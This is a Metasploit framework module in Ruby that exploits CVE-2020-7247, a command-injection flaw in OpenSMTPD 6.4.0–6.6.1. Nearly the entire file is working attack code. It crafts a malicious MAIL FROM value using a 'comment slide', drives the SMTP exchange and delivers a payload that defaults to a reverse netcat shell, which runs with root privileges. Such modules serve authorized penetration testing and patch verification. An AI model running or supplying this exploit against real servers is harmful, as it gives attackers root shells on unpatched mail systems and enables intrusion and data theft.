metasploit-framework/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb

141 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Expect
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
'Description' => %q{
This module exploits a command injection in the MAIL FROM field during
SMTP interaction with OpenSMTPD to execute a command as the root user.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu', # Module
'RageLtMan <rageltman[at]sempervictus>' # Module
],
'References' => [
['CVE', '2020-7247'],
['EDB', '48051'], # raptor's LPE/RCE exploit
['URL', 'https://seclists.org/oss-sec/2020/q1/40']
],
'DisclosureDate' => '2020-01-28',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
[
'OpenSMTPD 6.4.0 - 6.6.1',
{
'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(25),
OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
])
register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
end
def check
connect
res = sock.get_once
return CheckCode::Unknown unless res
return CheckCode::Detected if res =~ /^220.*ESMTP OpenSMTPD/
CheckCode::Safe
rescue EOFError, Rex::ConnectionError => e
vprint_error(e.message)
CheckCode::Unknown
ensure
disconnect
end
def exploit
# We don't care who we are, so randomize it
me = rand_text_alphanumeric(8..42)
# Send mail to this valid recipient
to = datastore['RCPT_TO']
# "Comment slide" courtesy of Qualys - brilliant!
rand_var = rand_text_alpha(1)
iter = rand_text_alphanumeric(14).chars.join(' ')
from = ";for #{rand_var} in #{iter};do read #{rand_var};done;sh;exit 0;"
# Check against RFC 5321, even though OpenSMTPD is more permissive
if from.length > 64
print_warning('MAIL FROM field is greater than 64 chars')
end
# Check for badchars, even though there shouldn't be any
if (badchars = (from.chars & target['MyBadChars'])).any?
print_warning("MAIL FROM field has badchars: #{badchars}")
end
# Create the mail body with comment slide and payload
body = "\r\n#{"#\r\n" * 14}#{payload.encoded}"
sploit = {
nil => /220.*OpenSMTPD/,
"HELO #{me}" => /250.*pleased to meet you/,
"MAIL FROM:<#{from}>" => /250.*Ok/,
"RCPT TO:<#{to}>" => /250.*Recipient ok/,
'DATA' => /354 Enter mail.*itself/,
body => nil,
'.' => /250.*Message accepted for delivery/,
'QUIT' => /221.*Bye/
}
print_status('Connecting to OpenSMTPD')
connect
print_status('Saying hello and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: sock,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
disconnect
end
end